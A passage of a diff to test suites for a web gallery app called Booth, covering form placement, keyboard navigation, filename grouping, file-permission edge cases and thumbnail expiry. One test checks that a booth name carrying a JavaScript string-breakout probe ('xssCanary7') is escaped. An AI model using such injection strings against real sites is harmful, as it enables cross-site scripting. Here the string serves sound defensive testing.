||||
def test_the_chip_jumps_to_the_first_fragment_of_the_open_ask(browser, live):
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", REPORT, b)
|
||||
page.wait_for_selector(".booth-nav-asks")
|
||||
chip = page.locator(".booth-nav-asks")
|
||||
assert chip.inner_text() == "? 1 open ask"
|
||||
target = chip.get_attribute("href")
|
||||
# the EARLIEST match in document order, not merely a match: the report
|
||||
# anchors r1 above r2 above the submit block, so any later one is wrong.
|
||||
ids = page.eval_on_selector_all("[id^='bk-ask-batch']", "els => els.map(e => e.id)")
|
||||
assert ids, "no batch fragment mounted"
|
||||
assert target == "#" + ids[0], (target, ids)
|
||||
page.close()
|
||||
|
||||
|
||||
def test_an_anchor_named_like_an_object_property_does_not_kill_the_page(browser, live):
|
||||
"""`toString` is a legal mark id (`asks.valid_stem`) and therefore a legal
|
||||
thing for an author to typo into an anchor. Against a plain `{}` lookup it
|
||||
came back as Object.prototype.toString — truthy, so it sailed past the
|
||||
unknown-mark guard and threw on `.questions.length`, aborting placement
|
||||
before the tail and costing the page EVERY ask. One typo, no chrome, no
|
||||
error the operator would see. Found by a cross-frontier panel."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body><div id="t" data-booth-mark="toString"></div>'
|
||||
f'<div id="v" data-booth-mark="valueOf:r1"></div>{SEAM}</body>'), b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator("#t").inner_html().strip() == "" # left alone
|
||||
assert page.locator("#v").inner_html().strip() == "" # left alone
|
||||
# and the real ask still mounted, which is what the bug destroyed
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2
|
||||
assert page.locator('input[name="choice.r2"]').count() == 2
|
||||
assert page.locator("form#bk-ask-form-batch").count() == 1
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_question_keyed_like_an_object_property_is_not_swallowed(browser, live):
|
||||
"""The mirror of the same bug, on the `placed` set. `constructor` matches
|
||||
`asks._KEY_RE`, and against a plain object an inherited `got.constructor`
|
||||
read as ALREADY PLACED — so a question the author did not anchor was
|
||||
silently dropped from the tail, which is INV-7's whole subject."""
|
||||
from booth.marks import declare_pick
|
||||
|
||||
base, data = live
|
||||
b = data / "b"
|
||||
b.mkdir(parents=True, exist_ok=True)
|
||||
declare_pick(b, "batch", {"title": "Round one", "questions": [
|
||||
{"key": "r1", "prompt": "First?", "options": ["keep", "cut"]},
|
||||
{"key": "constructor", "prompt": "Second?", "options": ["keep", "cut"]},
|
||||
]})
|
||||
page = _open(browser, base, "b",
|
||||
f'<!doctype html><body><div data-booth-mark="batch:r1"></div>{SEAM}</body>', b)
|
||||
page.wait_for_selector("form#bk-ask-form-batch", state="attached")
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2
|
||||
assert page.locator('input[name="choice.constructor"]').count() == 2, \
|
||||
"an unplaced question was swallowed by an inherited property"
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_submit_anchor_inside_the_authors_own_form_still_submits(browser, live):
|
||||
"""A submit anchor placed inside the author's own `<form>` loses ours: the
|
||||
HTML parser drops a nested form element outright. The controls' `form=`
|
||||
then points at nothing, the button does nothing, and the operator finds out
|
||||
by filling the whole thing in. Found by a cross-frontier bug-hunt panel; the
|
||||
fix is to count the anchor submitted only if the form actually survived, so
|
||||
the tail supplies one at body level where no form encloses it."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body>'
|
||||
'<div data-booth-mark="batch:r1"></div>'
|
||||
'<div data-booth-mark="batch:r2"></div>'
|
||||
'<form id="mine" action="/elsewhere">'
|
||||
'<div data-booth-ask-submit="batch"></div></form>'
|
||||
f"{SEAM}</body>"), b)
|
||||
page.wait_for_selector("form#bk-ask-form-batch", state="attached")
|
||||
assert page.locator("form#bk-ask-form-batch").count() == 1
|
||||
page.check('input[name="choice.r1"][value="keep"]')
|
||||
page.check('input[name="choice.r2"][value="cut"]')
|
||||
with page.expect_navigation():
|
||||
page.click("button.bk-ask-go")
|
||||
ans = _answer(b)
|
||||
assert ans is not None, "the button reached no form"
|
||||
assert ans["answers"]["r1"]["choice"] == "keep"
|
||||
assert ans["answers"]["r2"]["choice"] == "cut"
|
||||
page.close()
|
||||
|
||||
|
||||
def test_a_broken_pick_shows_its_diagnostic_even_from_a_submit_anchor(browser, live):
|
||||
"""A broken pick has no submit block — its `submit` is empty and the
|
||||
diagnostic lives in `whole`. Mounting that empty string and then recording
|
||||
the pick as placed made the tail skip it, so the 'broken ask' box never
|
||||
rendered at the one surface built to show it. A question the session
|
||||
believes it posted has to be visible."""
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
raw = json.loads((b / ".marks.json").read_text())
|
||||
raw["marks"][0]["declaration"] = {"prompt": "p"} # no options -> AskError
|
||||
(b / ".marks.json").write_text(json.dumps(raw))
|
||||
page = _open(browser, base, "b",
|
||||
f'<!doctype html><body><div id="s" data-booth-ask-submit="winner">'
|
||||
f"</div>{SEAM}</body>", b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator("#s").inner_html().strip() == "" # anchor left alone
|
||||
# inner_text() is the RENDERED text, and `.bk-ask-tag` is uppercased by CSS —
|
||||
# so assert the diagnostic itself, which is the part that has to reach him.
|
||||
shown = page.locator("body").inner_text()
|
||||
assert "this question could not be read" in shown, shown
|
||||
assert "options" in shown # the actual reason
|
||||
page.close()
|
||||
|
||||
|
||||
def test_an_author_element_cannot_hijack_the_chip(browser, live):
|
||||
"""`<section id="bk-ask-winner-background">` satisfies any id-prefix rule,
|
||||
hyphen boundary included. The chip therefore searches only the elements THIS
|
||||
SCRIPT MOUNTED — the identity the deleted `bk-ask-<id>-top` anchor used to
|
||||
guarantee — and takes the earliest of those in document order."""
|
||||
base, data = live
|
||||
b = _single(data / "b")
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body><section id="bk-ask-winner-background">notes</section>'
|
||||
f"<p>report</p>{SEAM}</body>"), b)
|
||||
page.wait_for_selector(".booth-nav-asks")
|
||||
target = page.locator(".booth-nav-asks").get_attribute("href")
|
||||
assert target != "#bk-ask-winner-background"
|
||||
landed = page.locator(target)
|
||||
assert landed.count() == 1
|
||||
assert landed.evaluate("e => e.classList.contains('bk-ask')"), \
|
||||
"the chip jumped to something the Booth did not mount"
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix(browser, live):
|
||||
"""A SIBLING MARK's fragment must not take the chip, even when it is earlier
|
||||
in the document. `batch2`'s id starts with `batch`, so the original
|
||||
id-prefix rule could land on it; the mounted-elements rule cannot, because
|
||||
the candidates are partitioned by mark.
|
||||
|
||||
⚠ The first version of this test put the sibling's fragment AFTER the open
|
||||
mark's, so the right answer was also the first answer and pooling every
|
||||
mark's elements passed it. The vacuity pass caught that; the fixture now
|
||||
puts the sibling FIRST, which is the only arrangement that can tell the two
|
||||
implementations apart.
|
||||
"""
|
||||
from booth.marks import declare_pick
|
||||
|
||||
base, data = live
|
||||
b = _multi(data / "b") # `batch`, created first
|
||||
declare_pick(b, "batch2", {"prompt": "Unrelated?", "options": ["x", "y"]})
|
||||
|
||||
# batch2 is anchored at the very top; batch is unanchored and so lands in
|
||||
# the tail, at the END of the body. Document order is therefore batch2's
|
||||
# fragments, then batch's.
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body><div data-booth-mark="batch2"></div>'
|
||||
f"<p>report</p>{SEAM}</body>"), b)
|
||||
page.wait_for_selector(".booth-nav-asks")
|
||||
|
||||
ids = page.eval_on_selector_all("[id^='bk-ask-']", "els => els.map(e => e.id)")
|
||||
assert any("batch2" in i for i in ids) and any(
|
||||
"batch2" not in i and "batch" in i for i in ids), ids
|
||||
assert ids.index(next(i for i in ids if "batch2" in i)) < \
|
||||
ids.index(next(i for i in ids if "batch2" not in i and "batch" in i)), \
|
||||
f"fixture is wrong: the sibling must come FIRST, got {ids}"
|
||||
|
||||
# `open` is (created, id) -> batch before batch2, so the chip targets batch
|
||||
target = page.locator(".booth-nav-asks").get_attribute("href")
|
||||
assert "batch2" not in target, f"the chip landed on the sibling mark: {target}"
|
||||
assert target.startswith("#bk-ask-batch")
|
||||
assert page.locator(target).count() == 1
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_canonical_attribute_wins_when_both_are_present(browser, live):
|
||||
"""`data-booth-mark` is canonical and `data-booth-ask` is the kept alias.
|
||||
An element carrying both is not a case any live report has, but the
|
||||
precedence has to be decided somewhere rather than by selector order."""
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
page = _open(browser, base, "b", (
|
||||
'<!doctype html><body><div id="a" data-booth-mark="batch:r2" '
|
||||
f'data-booth-ask="batch:r1"></div>{SEAM}</body>'), b)
|
||||
page.wait_for_selector("#a .bk-ask")
|
||||
assert page.locator('#a input[name="choice.r2"]').count() == 2 # canonical
|
||||
assert page.locator('#a input[name="choice.r1"]').count() == 0 # alias ignored
|
||||
# r1 was never placed, so INV-7 still puts it somewhere
|
||||
assert page.locator('input[name="choice.r1"]').count() == 2
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_chip_count_comes_from_the_server(browser, live):
|
||||
"""INV-4. A half-answered multi-question pick is STILL OPEN, and the page
|
||||
does not get to have an opinion about that — `open_marks` decides."""
|
||||
from booth.marks import answer_pick
|
||||
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
answer_pick(b, "batch", {"r1": "keep"})
|
||||
page = _open(browser, base, "b", REPORT, b)
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator(".booth-nav-asks").count() == 1
|
||||
answer_pick(b, "batch", {"r1": "keep", "r2": "cut"})
|
||||
page.reload(wait_until="networkidle")
|
||||
page.wait_for_selector(".bk-ask")
|
||||
assert page.locator(".booth-nav-asks").count() == 0
|
||||
page.close()
|
||||
|
||||
|
||||
def test_the_chip_follows_a_payload_that_disagrees_with_the_fragments(browser, live):
|
||||
"""INV-4, and the version that actually falsifies it.
|
||||
|
||||
The test above uses honest fixtures, so a client that INFERRED openness from
|
||||
the rendered fragments would pass it — the fragments and `open` always agree
|
||||
when the server computes both. A panel pointed out that this never creates
|
||||
the disagreement it claims to test.
|
||||
|
||||
So: intercept the response and make `open` lie. The fragments say fully
|
||||
answered; the payload says two are open. The chip must follow the payload,
|
||||
because the payload is the only thing that decides.
|
||||
"""
|
||||
import json as _json
|
||||
|
||||
from booth.marks import answer_pick
|
||||
|
||||
base, data = live
|
||||
b = _multi(data / "b")
|
||||
answer_pick(b, "batch", {"r1": "keep", "r2": "cut"}) # nothing is open
|
||||
(b / "index.html").write_text(f"<!doctype html><body>{SEAM}</body>", encoding="utf-8")
|
||||
|
||||
def lie(route):
|
||||
body = _json.loads(route.fetch().text())
|
||||
assert body["open"] == [], "fixture is not answered; the lie would be true"
|
||||
body["open"] = ["batch", "batch"]
|
||||
route.fulfill(status=200, content_type="application/json",
|
||||
body=_json.dumps(body))
|
||||
|
||||
page = browser.new_page()
|
||||
page.route("**/embed.json", lie)
|
||||
page.goto(f"{base}/b/b/", wait_until="networkidle")
|
||||
page.wait_for_selector(".booth-nav-asks")
|
||||
assert page.locator(".booth-nav-asks").inner_text() == "? 2 open asks"
|
||||
page.close()
|
||||
|
||||
|
||||
# --- the grid keyboard, which is the OTHER thing no string assertion sees ----
|
||||
# Added 2026-09-22 after the heid bug-hunt panel found a defect whose entire
|
||||
# expression is viewport geometry: a group jump moves the scroll position, the
|
||||
# keyboard cursor does not know, and the next arrow key scrolls back.
|
||||
|
||||
|
||||
def _gallery(root, name="g"):
|
||||
"""Enough tiles that the grid must scroll, in two groups."""
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for i in range(1, 13):
|
||||
(b / f"aa{i:02d}.png").write_bytes(PNG)
|
||||
for i in range(1, 13):
|
||||
(b / f"zz{i:02d}.png").write_bytes(PNG)
|
||||
return b
|
||||
|
||||
|
||||
def test_an_arrow_after_a_group_jump_does_not_scroll_back(browser, live):
|
||||
"""GRÓA's solo. The jump scrolled the viewport but left the cursor at -1,
|
||||
so the next ArrowRight focused tile 0 and `scrollIntoView` yanked the page
|
||||
back to the top — silently reversing the jump the operator just made.
|
||||
|
||||
The whole failure is geometry, so it is asserted on geometry: scroll
|
||||
position after the arrow must stay near where the jump landed, not return
|
||||
to the top. Defeating change: `focus(at + 1)` with `at` starting at -1."""
|
||||
base, root = live
|
||||
_gallery(root)
|
||||
page = browser.new_page()
|
||||
page.set_viewport_size({"width": 900, "height": 600})
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
|
||||
page.click('.rail-g[data-group="zz"]')
|
||||
page.wait_for_timeout(250)
|
||||
after_jump = page.evaluate("window.scrollY")
|
||||
assert after_jump > 0, "the group jump did not scroll at all"
|
||||
|
||||
page.keyboard.press("ArrowRight")
|
||||
page.wait_for_timeout(250)
|
||||
after_key = page.evaluate("window.scrollY")
|
||||
page.close()
|
||||
|
||||
assert after_key > after_jump / 2, (
|
||||
f"the arrow key undid the jump: scrollY {after_jump} -> {after_key}"
|
||||
)
|
||||
|
||||
|
||||
def test_the_keyboard_flag_actually_submits(browser, live):
|
||||
"""HULDA's solo. `f` selected `.flagbtn, [name="target"]`; nothing in this
|
||||
repo emits `.flagbtn`, so it clicked the HIDDEN target input — and clicking
|
||||
a hidden input does not submit its form. The shortcut never worked while
|
||||
still swallowing the keystroke.
|
||||
|
||||
Asserted end to end: press f, and the flag must come back from the server.
|
||||
|
||||
R2 C3 (docs/contracts/r2_flow.contract.md, "Assertions that change"): this
|
||||
used to expect a NAVIGATION — the flag form POSTed, 303'd and reloaded. That
|
||||
was the no-JS design working, not a defect, and it still is with scripts
|
||||
off (tests/golden/r2_mark_303.json replays those responses byte for byte).
|
||||
What changed is that WITH JS ON the flag now applies in place. The claim
|
||||
that matters is kept and tightened: the flag must come back from the SERVER
|
||||
(the swapped tile is server-rendered), and a marker set on the window before
|
||||
the keypress must survive, which a reload would wipe."""
|
||||
base, root = live
|
||||
_gallery(root)
|
||||
page = browser.new_page()
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
page.evaluate("window.__noReload = 1")
|
||||
|
||||
page.keyboard.press("ArrowRight")
|
||||
# ⚠ WAIT FOR THE CURSOR TO LAND BEFORE PRESSING `f`. Firing both keys
|
||||
# back to back assumed the first had finished, and `focus()` does a
|
||||
# `scrollIntoView` — so under full-suite load `f` could arrive with no
|
||||
# cursor set and flag nothing. It failed once in roughly five whole-suite
|
||||
# runs while passing 3/3 on its own, which is the signature of a race
|
||||
# rather than a defect, and a test that goes red one time in five trains
|
||||
# people to ignore red.
|
||||
page.wait_for_selector("figure.item.is-cursor", timeout=10000)
|
||||
page.keyboard.press("f")
|
||||
page.wait_for_selector("figure.item.is-flagged", timeout=10000)
|
||||
flagged = page.locator("figure.item.is-flagged").count()
|
||||
survived = page.evaluate("window.__noReload === 1")
|
||||
page.close()
|
||||
|
||||
assert flagged == 1, f"the f key flagged {flagged} items, expected 1"
|
||||
assert survived, "the flag reloaded the page; in-place judgment must not"
|
||||
|
||||
|
||||
def test_the_test_browser_has_no_internet(browser, live):
|
||||
"""Positive control for OFFLINE (booth-dev's ask: see the fix in force,
|
||||
don't assume it). An external host fails at once, and a Booth page — whose
|
||||
fonts are external — still goes idle in well under the goto timeout."""
|
||||
base, root = live
|
||||
(root / "g").mkdir()
|
||||
page = browser.new_page()
|
||||
t = time.time()
|
||||
with pytest.raises(Exception) as err:
|
||||
page.goto("https://fonts.googleapis.com/css2?family=IBM+Plex+Sans", timeout=10000)
|
||||
external = time.time() - t
|
||||
page.close()
|
||||
page = browser.new_page()
|
||||
t = time.time()
|
||||
page.goto(f"{base}/b/g/", wait_until="networkidle")
|
||||
local = time.time() - t
|
||||
page.close()
|
||||
assert "ERR_NAME_NOT_RESOLVED" in str(err.value) and external < 3, (str(err.value)[:80], external)
|
||||
assert local < 10, local
|
||||
+1195
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -13,6 +13,7 @@ from fastapi.testclient import TestClient
|
||||
|
||||
from booth.app import build_gallery, create_app, list_booths
|
||||
from booth.items import (
|
||||
CAPTION_MAX,
|
||||
Item,
|
||||
booth_items,
|
||||
find_item,
|
||||
@@ -258,3 +259,150 @@ def test_list_booths_counts_match_the_resolver(tmp_path):
|
||||
|
||||
got = list_booths(tmp_path, ttl_seconds=86400)[0]
|
||||
assert got["count"] == len(booth_items(b)) == 2
|
||||
|
||||
|
||||
# --- U7: the group, derived here and nowhere else -------------------------
|
||||
#
|
||||
# ⚠ THE RULE IS NOT THE ONE THE CONTRACT FIRST STATED, and the change is
|
||||
# measured rather than preferred. The contract's `strip ONE trailing run of
|
||||
# digits` yields 24 groups for sindra-bakeoff's 40 images and 27 for sindra's
|
||||
# 30 — a rail with one row per tile, which is a second copy of the grid rather
|
||||
# than a way through it. Measured against all 17 live booths on 2026-09-22;
|
||||
# the numbers are in the contract's rewritten table.
|
||||
|
||||
|
||||
def test_group_of_takes_the_first_segment(tmp_path):
|
||||
from booth.items import _group_of
|
||||
|
||||
assert _group_of("00-sheet-c1-market-noon.png") == "00"
|
||||
assert _group_of("m-c1-market-noon-9401.png") == "m"
|
||||
assert _group_of("flag-rear.png") == "flag"
|
||||
assert _group_of("v30-seed8302-HELD.png") == "v30"
|
||||
|
||||
|
||||
def test_group_of_destems_only_a_flat_name(tmp_path):
|
||||
"""`ac01.png` has no separator, so the digits ARE the separator and the
|
||||
group is `ac`. `v30-seed8302` HAS one, so `v30` survives intact — stripping
|
||||
there would merge v30 with v35, which is the axis that booth is about."""
|
||||
from booth.items import _group_of
|
||||
|
||||
assert _group_of("ac01.png") == "ac"
|
||||
assert _group_of("DSC0001.jpg") == "DSC"
|
||||
assert _group_of("v30-seed8302.png") == "v30"
|
||||
assert _group_of("v35-seed8302.png") == "v35"
|
||||
|
||||
|
||||
def test_group_of_is_none_when_there_is_no_prefix(tmp_path):
|
||||
"""A stem that is entirely digits has nothing to group on. Inventing one
|
||||
would file every numbered render under the empty string."""
|
||||
from booth.items import _group_of
|
||||
|
||||
assert _group_of("01.png") is None
|
||||
assert _group_of("0042.jpg") is None
|
||||
assert _group_of("-leading.png") is None
|
||||
|
||||
|
||||
def test_group_is_derived_from_the_basename_not_the_path(tmp_path):
|
||||
"""A booth WITH subdirectories still groups on the filename. Sections and
|
||||
groups are different questions; `Item.section` still carries the path."""
|
||||
from booth.items import _group_of
|
||||
|
||||
assert _group_of("sub/dir/ac01.png") == "ac"
|
||||
|
||||
|
||||
def test_booth_items_carries_the_group(tmp_path):
|
||||
b = tmp_path / "g"
|
||||
_touch(b / "ac01.png")
|
||||
_touch(b / "ac02.png")
|
||||
_touch(b / "99.png")
|
||||
got = {it.rel: it.group for it in booth_items(b)}
|
||||
assert got == {"ac01.png": "ac", "ac02.png": "ac", "99.png": None}
|
||||
|
||||
|
||||
def test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth(tmp_path):
|
||||
"""HULDA, and it is worse than the bundle could see: `quote()` raises
|
||||
UnicodeEncodeError on a surrogate from a non-UTF-8 filename, and
|
||||
`booth_items` feeds `list_booths` — so ONE 0xff byte in ONE booth's
|
||||
filename took out the INDEX for every booth, not just its own page.
|
||||
|
||||
The repo's standing posture is that a damaged file costs its own tile and
|
||||
never the page. A file whose name cannot be percent-encoded cannot be
|
||||
linked or served either, so it cannot be an item.
|
||||
|
||||
Defeating change: dropping the guard — this raises before it renders."""
|
||||
import os
|
||||
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "ok.png").write_bytes(b"\x89PNG")
|
||||
(b / os.fsdecode(b"bad\xff.png")).write_bytes(b"\x89PNG")
|
||||
|
||||
got = booth_items(b)
|
||||
assert [it.rel for it in got] == ["ok.png"]
|
||||
|
||||
|
||||
|
||||
def test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index(tmp_path):
|
||||
"""Found folding R2's bug-hunt: `Path.is_file()` swallows a missing entry
|
||||
but PROPAGATES EACCES. A directory with read and no execute permission
|
||||
lists its names, and every stat under it raises — so one such folder in
|
||||
one booth took out the index for every booth, the same blast radius as the
|
||||
unrepresentable filename above. Its files are not items.
|
||||
|
||||
Defeating change: calling `is_file()` outside the OSError guard."""
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "ok.png").write_bytes(b"\x89PNG")
|
||||
sub = b / "d"
|
||||
sub.mkdir()
|
||||
(sub / "x.png").write_bytes(b"\x89PNG")
|
||||
sub.chmod(0o644) # r--: listable, nothing inside stat-able
|
||||
try:
|
||||
with pytest.raises(PermissionError):
|
||||
(sub / "x.png").stat() # the fixture is live, not assumed
|
||||
assert [it.rel for it in booth_items(b)] == ["ok.png"]
|
||||
[row] = list_booths(tmp_path, ttl_seconds=86400)
|
||||
assert row["name"] == "b" and row["count"] == 1
|
||||
finally:
|
||||
sub.chmod(0o755)
|
||||
|
||||
def test_a_huge_caption_sidecar_is_not_read_whole(tmp_path):
|
||||
"""HULDA: `read_text()` pulled the entire sidecar into memory before
|
||||
`[:CAPTION_MAX]` trimmed it, and the handler catches only OSError — so a
|
||||
pathological sidecar is a MemoryError, not a missing caption.
|
||||
|
||||
Bounded at the READ. Deliberately NOT bounded by st_size: a FIFO reports
|
||||
st_size 0 and a bound that trusts it inherits what it does not mean —
|
||||
persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md."""
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"\x89PNG")
|
||||
(b / "a.txt").write_text("x" * (CAPTION_MAX * 50))
|
||||
|
||||
cap = {it.rel: it.caption for it in booth_items(b)}["a.png"]
|
||||
assert cap is not None and len(cap) <= CAPTION_MAX
|
||||
|
||||
|
||||
def test_a_dot_directory_hides_its_whole_subtree(tmp_path):
|
||||
"""CLAUDE.md invariant 2 claims a dotfile costs nothing in item counts,
|
||||
galleries or zips. That was only true at the TOP LEVEL: both `booth_items`
|
||||
and `zip_booth` tested the FILE's name, so `.thumbs/a.png` has `p.name ==
|
||||
"a.png"` and sailed through as a gallery item and a zip entry.
|
||||
|
||||
Pre-existing, found while adding a `.thumbs/` cache. Any path component
|
||||
starting with a dot is the Booth's own namespace.
|
||||
|
||||
Defeating change: back to `p.name.startswith(".")`."""
|
||||
import io
|
||||
import zipfile
|
||||
|
||||
from booth.app import zip_booth
|
||||
|
||||
b = tmp_path / "b"
|
||||
(b / ".thumbs").mkdir(parents=True)
|
||||
(b / "real.png").write_bytes(b"\x89PNG")
|
||||
(b / ".thumbs" / "real.png").write_bytes(b"\x89PNGthumb")
|
||||
(b / ".marks.json").write_text("{}")
|
||||
|
||||
assert [i.rel for i in booth_items(b)] == ["real.png"]
|
||||
assert zipfile.ZipFile(io.BytesIO(zip_booth(b))).namelist() == ["real.png"]
|
||||
|
||||
@@ -1096,3 +1096,42 @@ def test_a_booth_name_cannot_reach_a_js_string_context(client):
|
||||
|
||||
assert 'data-confirm="wipe"' in html, "the name travels as data, where escaping is escaping"
|
||||
assert ">'+xssCanary7+'<" in html, "and still renders as the name it is"
|
||||
|
||||
|
||||
def test_generating_a_thumbnail_does_not_age_a_booth(tmp_path):
|
||||
"""⚠ A VIEW-DRIVEN WRITE MUST NOT RESET THE EXPIRY CLOCK, and the thumbnail
|
||||
cache is the first thing in this repo that writes without the operator
|
||||
doing anything.
|
||||
|
||||
`.viewed` counts as activity ON PURPOSE — U4's "viewing is activity" — but
|
||||
that is a DELIBERATE look. A derived cache is machinery, exactly like the
|
||||
`.lock` sidecars already excluded here, and it is written by the SERVER.
|
||||
|
||||
The failure this prevents is not small. Once the Desk's preview strip pulls
|
||||
a thumbnail for every booth, loading the index would touch every booth's
|
||||
cache and push every expiry out — the TTL would never fire again and
|
||||
nothing would ever sweep. Caught by design-dev before the strip landed;
|
||||
the bug was already live for the gallery.
|
||||
|
||||
Defeating change: dropping the THUMB_DIR arm of the exclusion."""
|
||||
import os
|
||||
import time
|
||||
|
||||
from booth.app import _newest_mtime
|
||||
from booth.thumbs import ensure_thumb
|
||||
|
||||
pytest.importorskip("PIL.Image")
|
||||
from PIL import Image
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
Image.new("RGB", (1024, 1024), (9, 9, 9)).save(b / "a.png")
|
||||
old = time.time() - 86400 * 3
|
||||
for p in b.rglob("*"):
|
||||
os.utime(p, (old, old))
|
||||
os.utime(b, (old, old))
|
||||
|
||||
before = _newest_mtime(b)
|
||||
assert ensure_thumb(b, "a.png") is not None, "nothing was generated to test"
|
||||
assert _newest_mtime(b) == pytest.approx(before, abs=2), \
|
||||
"generating a thumbnail reset the booth's expiry clock"
|
||||
|
||||
+85
-1
@@ -7,6 +7,8 @@ See docs/contracts/u2_marks.contract.md.
|
||||
"""
|
||||
import ast
|
||||
import json
|
||||
import re
|
||||
import tomllib
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
@@ -276,7 +278,7 @@ def test_as_dict_round_trips_through_json(tmp_path):
|
||||
# ---- the stdlib-only invariant (INV-5) --------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest"])
|
||||
@pytest.mark.parametrize("module", ["marks", "asks", "links", "manifest", "benches", "blur", "__init__"])
|
||||
def test_stdlib_only(module):
|
||||
"""INV-5. scripts/booth imports these under the system python3 with NO venv,
|
||||
through a `python3 -c` heredoc that no AST extractor can see — so nothing
|
||||
@@ -1374,3 +1376,85 @@ def test_a_clock_restore_that_fails_does_not_take_the_route_down(tmp_path):
|
||||
|
||||
assert (booth / MARKS_LOCK).exists()
|
||||
assert [m.target for m in marks_for(booth)] == ["a.png"]
|
||||
|
||||
|
||||
# ---- the wrong-shaped answer, closed at the hydration boundary --------------
|
||||
|
||||
|
||||
def test_a_wrong_shaped_answer_is_an_error_at_hydration_not_a_500(tmp_path):
|
||||
"""A `.marks.json` that is well-formed JSON with a wrong-shaped `answer`
|
||||
passed every reader and then raised in the TEMPLATE: `_hydrate` checked only
|
||||
that `answer` was a dict, never that `answer["answers"]` was one, so
|
||||
`marks_for` and `hold_read` both reported the mark healthy with no read
|
||||
error — and `_ask_inline.html` asked a list for `.get`.
|
||||
|
||||
Measured at `42ea67f`, so it predates U3. U3 guarded its own surface with
|
||||
`_safe_fragments` and left the gallery and marks pages alone by scope. This
|
||||
closes it at the boundary the rest of the module already argues for: ONE
|
||||
predicate, ONE place, every surface inherits it.
|
||||
|
||||
Defeating change: restoring the bare `isinstance(answer, dict)` check —
|
||||
under which `error` is None here and both pages 500.
|
||||
"""
|
||||
declare_pick(tmp_path, "batch", {"title": "T", "questions": [
|
||||
{"key": "r1", "prompt": "A?", "options": ["x", "y"]},
|
||||
{"key": "r2", "prompt": "B?", "options": ["x", "y"]}]})
|
||||
raw = json.loads((tmp_path / ".marks.json").read_text())
|
||||
for e in raw["marks"]:
|
||||
if e["id"] == "batch":
|
||||
e["answer"] = {"answers": [], "notes": ""}
|
||||
(tmp_path / ".marks.json").write_text(json.dumps(raw))
|
||||
|
||||
mark = {m.id: m for m in marks_for(tmp_path)}["batch"]
|
||||
assert mark.error, "a wrong-shaped answer hydrated as healthy"
|
||||
assert "answer" in mark.error
|
||||
# AND the mark is not silently emptied — the declaration survives, so the
|
||||
# operator can still see WHICH question broke rather than a bare error.
|
||||
assert mark.declaration is not None
|
||||
|
||||
|
||||
def test_a_healthy_multi_answer_still_hydrates(tmp_path):
|
||||
"""The other direction, so the guard cannot be satisfied by rejecting
|
||||
everything. Defeating change: requiring `answers` unconditionally, which
|
||||
would break every single-question pick."""
|
||||
declare_pick(tmp_path, "multi", {"title": "T", "questions": [
|
||||
{"key": "r1", "prompt": "A?", "options": ["x", "y"]}]})
|
||||
declare_pick(tmp_path, "single", {"prompt": "Which?", "options": ["x", "y"]})
|
||||
raw = json.loads((tmp_path / ".marks.json").read_text())
|
||||
for e in raw["marks"]:
|
||||
if e["id"] == "multi":
|
||||
e["answer"] = {"answers": {"r1": {"choice": "x", "notes": ""}}, "notes": ""}
|
||||
if e["id"] == "single":
|
||||
e["answer"] = {"choice": "x", "notes": ""}
|
||||
(tmp_path / ".marks.json").write_text(json.dumps(raw))
|
||||
by = {m.id: m for m in marks_for(tmp_path)}
|
||||
assert by["multi"].error is None, by["multi"].error
|
||||
assert by["single"].error is None, by["single"].error
|
||||
|
||||
|
||||
def test_the_package_version_carries_no_literal_of_its_own():
|
||||
"""`booth.__version__` said `0.1.0` through six releases while pyproject
|
||||
said `0.6.1` — a second copy of one fact, drifting silently, found only
|
||||
while cutting 1.0.
|
||||
|
||||
THE ASSERTION IS THE ABSENCE OF A LITERAL, not agreement with pyproject:
|
||||
`__version__` is now READ from pyproject, so comparing the two would be
|
||||
circular and would prove only that the read works. The defeating change is
|
||||
hardcoding a number back into this module, and that is what this catches.
|
||||
"""
|
||||
src = (pathlib.Path(__file__).parent.parent / "booth" / "__init__.py").read_text()
|
||||
literals = re.findall(r'__version__\s*=\s*["\']([^"\']+)["\']', src)
|
||||
assert not literals, f"booth/__init__.py hardcodes a version again: {literals}"
|
||||
|
||||
|
||||
def test_the_package_version_is_the_one_the_tree_declares():
|
||||
"""And it resolves, from the tree, to what pyproject says — NOT to whatever
|
||||
a stale dist-info in some venv happens to record. Found saying `0.3.0` from
|
||||
installed metadata while the tree was at `1.0.0b1`."""
|
||||
import booth
|
||||
|
||||
declared = tomllib.loads(
|
||||
(pathlib.Path(__file__).parent.parent / "pyproject.toml").read_text()
|
||||
